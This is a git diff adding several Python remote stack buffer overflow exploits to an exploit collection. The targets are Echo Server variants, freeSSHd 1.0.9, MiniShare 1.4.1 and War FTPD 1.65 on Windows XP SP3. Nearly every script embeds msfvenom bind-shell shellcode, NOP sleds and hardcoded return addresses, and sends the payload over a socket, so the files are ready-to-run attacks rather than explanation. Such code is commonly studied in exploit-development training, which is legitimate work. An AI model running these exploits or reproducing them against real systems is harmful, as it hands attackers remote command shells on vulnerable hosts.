+pattern="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" +buff="A"*1036 +buff+="BBBB" +buff+=pattern +sock.send(buff) +sock.close() \ No newline at end of file diff --git a/windows/x86/remote/echo server/echo-v2.py b/windows/x86/remote/echo server/echo-v2.py new file mode 100644 index 0000000..6fc79e7 --- /dev/null +++ b/windows/x86/remote/echo server/echo-v2.py @@ -0,0 +1,51 @@ +""" +Full title: Echo Server v2 Remote Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Version: Echo Server v2 +Tested on: Windows XP SP3 +Category: remote exploits +Platform: windows +""" +#!/usr/bin/python +#msfvenom -p windows/shell_bind_tcp -f c -a x86 +# buffer is not aligned with the top of the stack at 0022F730 + +import socket, sys, argparse + +parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec") +parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address") +parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port") +parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length") +args = parser.parse_args() + +sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect((args.target , args.port)) + +shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" +"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" +"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" +"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" +"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" +"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" +"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" +"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" +"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" +"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" +"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40" +"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89" +"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" +"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97" +"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57" +"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c" +"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" +"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0" +"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5" +"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb" +"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5") +NOP="\x90"*36 +NOP2="\x90"*(1036-36-len(shellcode)) +EIP="\x50\xf7\x22\x00"#0022F750 + +sock.send(NOP+shellcode+NOP2+EIP) +sock.close() \ No newline at end of file diff --git a/windows/x86/remote/echo server/echo-v3.py b/windows/x86/remote/echo server/echo-v3.py new file mode 100644 index 0000000..8af0d0d --- /dev/null +++ b/windows/x86/remote/echo server/echo-v3.py @@ -0,0 +1,53 @@ +""" +Full title: Echo Server v3 Remote Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Version: Echo Server v3 +Tested on: Windows XP SP3 +Category: remote exploits +Platform: windows +""" +#!/usr/bin/python +#msfvenom -p windows/shell_bind_tcp -f c -a x86 +#memset will "clean" our buffer 0022F73C, we should jump higher in the stack (lower memory addr) +#ESP must go to higher value in the stack, we are gonna subtract more than 1036 from esp + +import socket, sys, argparse + +parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec") +parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address") +parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port") +parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length") +args = parser.parse_args() + +sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect((args.target , args.port)) +shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" +"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" +"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" +"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" +"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" +"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" +"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" +"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" +"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" +"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" +"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40" +"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89" +"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" +"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97" +"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57" +"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c" +"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" +"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0" +"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5" +"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb" +"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5") +esp_adj="\x81\xEC\x00\x30\x00\x00" +buff="\x90"*40 +buff+=esp_adj +buff+=shellcode +buff+="\x90"*(1036-40-len(shellcode)-len(esp_adj)) +buff+="\x34\xf3\x22\x00"#0022F334 +sock.send(buff) +sock.close() \ No newline at end of file diff --git a/windows/x86/remote/echo server/echo.py b/windows/x86/remote/echo server/echo.py new file mode 100644 index 0000000..7ede6e4 --- /dev/null +++ b/windows/x86/remote/echo server/echo.py @@ -0,0 +1,48 @@ +""" +Full title: Echo Server Remote Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Version: Echo Server +Tested on: Windows XP SP3 +Category: remote exploits +Platform: windows +""" +#!/usr/bin/python +#msfvenom -p windows/shell_bind_tcp -f c -a x86 + +import socket, sys, argparse + +parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec") +parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address") +parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port") +parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length") +args = parser.parse_args() + +sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect((args.target , args.port)) +buff="A"*1036 +EIP="\x30\xf7\x22\x00" #Overwrite RET addr on the stack, MUST be reverse order since is Little Endian Notation 0022F730 +NOP="\x90"*10 #ESP is pointing to +shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" +"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" +"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" +"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" +"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" +"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" +"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" +"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" +"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" +"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" +"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40" +"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89" +"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" +"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97" +"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57" +"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c" +"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" +"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0" +"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5" +"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb" +"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5") +sock.send(buff+EIP+NOP+shellcode) +sock.close() \ No newline at end of file diff --git a/windows/x86/remote/freeSSHd_1.0.9.py b/windows/x86/remote/freeSSHd_1.0.9.py new file mode 100644 index 0000000..f10e83b --- /dev/null +++ b/windows/x86/remote/freeSSHd_1.0.9.py @@ -0,0 +1,53 @@ +""" +Full title: freeSSHd 1.0.9 Remote Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Vendor Homepage: http://www.freesshd.com/ +Version: freeSSHd 1.0.9 +Tested on: Windows XP SP3 +Category: remote exploits +Platform: windows +""" +#!/usr/bin/python +import socket, sys +import time +#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00" +shellcode=("\xbb\x48\x2b\x17\x4c\xd9\xf6\xd9\x74\x24\xf4\x5d\x33\xc9\xb1" +"\x53\x31\x5d\x12\x03\x5d\x12\x83\x8d\x2f\xf5\xb9\xf1\xd8\x7b" +"\x41\x09\x19\x1c\xcb\xec\x28\x1c\xaf\x65\x1a\xac\xbb\x2b\x97" +"\x47\xe9\xdf\x2c\x25\x26\xd0\x85\x80\x10\xdf\x16\xb8\x61\x7e" +"\x95\xc3\xb5\xa0\xa4\x0b\xc8\xa1\xe1\x76\x21\xf3\xba\xfd\x94" +"\xe3\xcf\x48\x25\x88\x9c\x5d\x2d\x6d\x54\x5f\x1c\x20\xee\x06" +"\xbe\xc3\x23\x33\xf7\xdb\x20\x7e\x41\x50\x92\xf4\x50\xb0\xea" +"\xf5\xff\xfd\xc2\x07\x01\x3a\xe4\xf7\x74\x32\x16\x85\x8e\x81" +"\x64\x51\x1a\x11\xce\x12\xbc\xfd\xee\xf7\x5b\x76\xfc\xbc\x28" +"\xd0\xe1\x43\xfc\x6b\x1d\xcf\x03\xbb\x97\x8b\x27\x1f\xf3\x48" +"\x49\x06\x59\x3e\x76\x58\x02\x9f\xd2\x13\xaf\xf4\x6e\x7e\xb8" +"\x39\x43\x80\x38\x56\xd4\xf3\x0a\xf9\x4e\x9b\x26\x72\x49\x5c" +"\x48\xa9\x2d\xf2\xb7\x52\x4e\xdb\x73\x06\x1e\x73\x55\x27\xf5" +"\x83\x5a\xf2\x60\x8b\xfd\xad\x96\x76\xbd\x1d\x17\xd8\x56\x74" +"\x98\x07\x46\x77\x72\x20\xef\x8a\x7d\x5f\xac\x03\x9b\x35\x5c" +"\x42\x33\xa1\x9e\xb1\x8c\x56\xe0\x93\xa4\xf0\xa9\xf5\x73\xff" +"\x29\xd0\xd3\x97\xa1\x37\xe0\x86\xb5\x1d\x40\xdf\x22\xeb\x01" +"\x92\xd3\xec\x0b\x44\x77\x7e\xd0\x94\xfe\x63\x4f\xc3\x57\x55" +"\x86\x81\x45\xcc\x30\xb7\x97\x88\x7b\x73\x4c\x69\x85\x7a\x01" +"\xd5\xa1\x6c\xdf\xd6\xed\xd8\x8f\x80\xbb\xb6\x69\x7b\x0a\x60" +"\x20\xd0\xc4\xe4\xb5\x1a\xd7\x72\xba\x76\xa1\x9a\x0b\x2f\xf4" +"\xa5\xa4\xa7\xf0\xde\xd8\x57\xfe\x35\x59\x67\xb5\x17\xc8\xe0" +"\x10\xc2\x48\x6d\xa3\x39\x8e\x88\x20\xcb\x6f\x6f\x38\xbe\x6a" +"\x2b\xfe\x53\x07\x24\x6b\x53\xb4\x45\xbe") +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect(("127.0.0.1", 22)) +message = sock.recv(1000) +print message +buffer = ("\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" + "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde") +buffer += "A"*1055 +buffer +="\x78\x6A\x83\x7C"#7C836A78 +buffer +="\x90"*8 +buffer+=shellcode +buffer +="\x90"*(22000-len(buffer)) +buffer += "\r\n" +sock.send(buffer) +time.sleep(5) +sock.close() \ No newline at end of file diff --git a/windows/x86/remote/minishare_1.4.1.py b/windows/x86/remote/minishare_1.4.1.py new file mode 100644 index 0000000..339c853 --- /dev/null +++ b/windows/x86/remote/minishare_1.4.1.py @@ -0,0 +1,53 @@ +""" +Full title: MiniShare 1.4.1 Remote Stack Buffer Overflow PoC +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Vendor Homepage: http://minishare.sf.net +Version: MiniShare 1.4.1 +Tested on: Windows XP SP3 +Category: remote exploits +Platform: windows +""" + +#!/usr/bin/python +import socket, sys, argparse + +parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec") +parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address") +parser.add_argument("-p", "--port", default=80, type=int, dest="port", help="Target TCP Port") +parser.add_argument("-l", "--length", default=3000, type=int, dest="pocl", help="PoC Length") +args = parser.parse_args() +#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00\x0d" +shellcode=("\xbf\xf5\x93\xde\xf0\xdb\xd5\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1" +"\x53\x31\x7e\x12\x03\x7e\x12\x83\x33\x97\x3c\x05\x47\x70\x42" +"\xe6\xb7\x81\x23\x6e\x52\xb0\x63\x14\x17\xe3\x53\x5e\x75\x08" +"\x1f\x32\x6d\x9b\x6d\x9b\x82\x2c\xdb\xfd\xad\xad\x70\x3d\xac" +"\x2d\x8b\x12\x0e\x0f\x44\x67\x4f\x48\xb9\x8a\x1d\x01\xb5\x39" +"\xb1\x26\x83\x81\x3a\x74\x05\x82\xdf\xcd\x24\xa3\x4e\x45\x7f" +"\x63\x71\x8a\x0b\x2a\x69\xcf\x36\xe4\x02\x3b\xcc\xf7\xc2\x75" +"\x2d\x5b\x2b\xba\xdc\xa5\x6c\x7d\x3f\xd0\x84\x7d\xc2\xe3\x53" +"\xff\x18\x61\x47\xa7\xeb\xd1\xa3\x59\x3f\x87\x20\x55\xf4\xc3" +"\x6e\x7a\x0b\x07\x05\x86\x80\xa6\xc9\x0e\xd2\x8c\xcd\x4b\x80" +"\xad\x54\x36\x67\xd1\x86\x99\xd8\x77\xcd\x34\x0c\x0a\x8c\x50" +"\xe1\x27\x2e\xa1\x6d\x3f\x5d\x93\x32\xeb\xc9\x9f\xbb\x35\x0e" +"\xdf\x91\x82\x80\x1e\x1a\xf3\x89\xe4\x4e\xa3\xa1\xcd\xee\x28" +"\x31\xf1\x3a\xc4\x39\x54\x95\xfb\xc4\x26\x45\xbc\x66\xcf\x8f" +"\x33\x59\xef\xaf\x99\xf2\x98\x4d\x22\xed\x04\xdb\xc4\x67\xa5" +"\x8d\x5f\x1f\x07\xea\x57\xb8\x78\xd8\xcf\x2e\x30\x0a\xd7\x51" +"\xc1\x18\x7f\xc5\x4a\x4f\xbb\xf4\x4c\x5a\xeb\x61\xda\x10\x7a" +"\xc0\x7a\x24\x57\xb2\x1f\xb7\x3c\x42\x69\xa4\xea\x15\x3e\x1a" +"\xe3\xf3\xd2\x05\x5d\xe1\x2e\xd3\xa6\xa1\xf4\x20\x28\x28\x78" +"\x1c\x0e\x3a\x44\x9d\x0a\x6e\x18\xc8\xc4\xd8\xde\xa2\xa6\xb2" +"\x88\x19\x61\x52\x4c\x52\xb2\x24\x51\xbf\x44\xc8\xe0\x16\x11" +"\xf7\xcd\xfe\x95\x80\x33\x9f\x5a\x5b\xf0\xaf\x10\xc1\x51\x38" +"\xfd\x90\xe3\x25\xfe\x4f\x27\x50\x7d\x65\xd8\xa7\x9d\x0c\xdd" +"\xec\x19\xfd\xaf\x7d\xcc\x01\x03\x7d\xc5") +sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect((args.target , args.port)) +buff="GET" +buff+="A"*1788 +buff+="\x78\x6A\x83\x7C"#7C836A78 +buff+="\x90"*24 +buff+=shellcode +buff+=" HTTP/1.1\r\n\r\n" +sock.send(buff) +sock.close() \ No newline at end of file diff --git a/windows/x86/remote/war_FTPD_1.65.py b/windows/x86/remote/war_FTPD_1.65.py new file mode 100644 index 0000000..fe449bb --- /dev/null +++ b/windows/x86/remote/war_FTPD_1.65.py @@ -0,0 +1,49 @@ +""" +Full title: War FTPD 1.65 Remote Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Vendor Homepage: http://www.jgaa.com +Version: War FTPD 1.65 +Tested on: Windows XP SP3 +Category: remote exploits +Platform: windows +""" +#!/usr/bin/python +import socket, sys +# @chars is used for user@host +#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00\x0a\x0d\x40" +shellcode=("\xda\xd4\xbb\x81\x49\xfc\xd4\xd9\x74\x24\xf4\x58\x2b\xc9\xb1" +"\x53\x31\x58\x17\x83\xe8\xfc\x03\xd9\x5a\x1e\x21\x25\xb4\x5c" +"\xca\xd5\x45\x01\x42\x30\x74\x01\x30\x31\x27\xb1\x32\x17\xc4" +"\x3a\x16\x83\x5f\x4e\xbf\xa4\xe8\xe5\x99\x8b\xe9\x56\xd9\x8a" +"\x69\xa5\x0e\x6c\x53\x66\x43\x6d\x94\x9b\xae\x3f\x4d\xd7\x1d" +"\xaf\xfa\xad\x9d\x44\xb0\x20\xa6\xb9\x01\x42\x87\x6c\x19\x1d" +"\x07\x8f\xce\x15\x0e\x97\x13\x13\xd8\x2c\xe7\xef\xdb\xe4\x39" +"\x0f\x77\xc9\xf5\xe2\x89\x0e\x31\x1d\xfc\x66\x41\xa0\x07\xbd" +"\x3b\x7e\x8d\x25\x9b\xf5\x35\x81\x1d\xd9\xa0\x42\x11\x96\xa7" +"\x0c\x36\x29\x6b\x27\x42\xa2\x8a\xe7\xc2\xf0\xa8\x23\x8e\xa3" +"\xd1\x72\x6a\x05\xed\x64\xd5\xfa\x4b\xef\xf8\xef\xe1\xb2\x94" +"\xdc\xcb\x4c\x65\x4b\x5b\x3f\x57\xd4\xf7\xd7\xdb\x9d\xd1\x20" +"\x1b\xb4\xa6\xbe\xe2\x37\xd7\x97\x20\x63\x87\x8f\x81\x0c\x4c" +"\x4f\x2d\xd9\xf9\x47\x88\xb2\x1f\xaa\x6a\x63\xa0\x04\x03\x69" +"\x2f\x7b\x33\x92\xe5\x14\xdc\x6f\x06\x0b\x41\xf9\xe0\x41\x69" +"\xaf\xbb\xfd\x4b\x94\x73\x9a\xb4\xfe\x2b\x0c\xfc\xe8\xec\x33" +"\xfd\x3e\x5b\xa3\x76\x2d\x5f\xd2\x88\x78\xf7\x83\x1f\xf6\x96" +"\xe6\xbe\x07\xb3\x90\x23\x95\x58\x60\x2d\x86\xf6\x37\x7a\x78" +"\x0f\xdd\x96\x23\xb9\xc3\x6a\xb5\x82\x47\xb1\x06\x0c\x46\x34" +"\x32\x2a\x58\x80\xbb\x76\x0c\x5c\xea\x20\xfa\x1a\x44\x83\x54" +"\xf5\x3b\x4d\x30\x80\x77\x4e\x46\x8d\x5d\x38\xa6\x3c\x08\x7d" +"\xd9\xf1\xdc\x89\xa2\xef\x7c\x75\x79\xb4\x8d\x3c\x23\x9d\x05" +"\x99\xb6\x9f\x4b\x1a\x6d\xe3\x75\x99\x87\x9c\x81\x81\xe2\x99" +"\xce\x05\x1f\xd0\x5f\xe0\x1f\x47\x5f\x21") +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect(("127.0.0.1", 21)) +print sock.recv(1500) +buffer = "A"*485 +buffer+="\x53\x93\x42\x7e" +buffer+="\x90"*15 +buffer+=shellcode +sock.send("USER " + buffer + "\r\n") +print sock.recv(1500) +sock.send("PASS demo@demo.com\r\n") +print sock.recv(1500) +sock.close() \ No newline at end of file diff --git a/windows/x86/WinServer.exe b/windows/x86/remote/win server/WinServer.exe similarity index 100% rename from windows/x86/WinServer.exe rename to windows/x86/remote/win server/WinServer.exe diff --git a/windows/x86/WinServer.py b/windows/x86/remote/win server/WinServer.py similarity index 98% rename from windows/x86/WinServer.py rename to windows/x86/remote/win server/WinServer.py index 8bf3362..aee99bf 100644 --- a/windows/x86/WinServer.py +++ b/windows/x86/remote/win server/WinServer.py @@ -2,7 +2,7 @@ Full title: WinServer Remote Buffer Overflow Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Tested on: Windows XP SP3 -Category: local exploits +Category: remote exploits Platform: windows """ #!/usr/bin/python